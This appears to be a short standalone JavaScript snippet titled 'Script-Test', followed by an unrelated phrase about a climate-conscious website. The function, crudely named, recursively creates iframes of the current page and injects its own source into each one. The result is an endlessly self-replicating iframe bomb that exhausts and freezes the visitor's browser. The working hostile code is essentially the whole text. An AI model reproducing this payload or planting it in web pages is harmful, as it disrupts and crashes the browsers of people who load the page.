Script-Test

function fuckUp(func){
var id = Math.random();
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", window.location.href+"?"+id);
ifrm.style.width = 250+"px";
ifrm.style.height = 250+"px";
ifrm.id = id;
code = document.createElement("script");
code.innerHTML = "("+func.toString()+")("+func.toString()+");";
ifrm.addEventListener('load', () => {document.getElementById(id).contentDocument.body.appendChild(code)}, true);
document.body.appendChild(ifrm);
}
fuckUp(fuckUp);
klimabewusste Website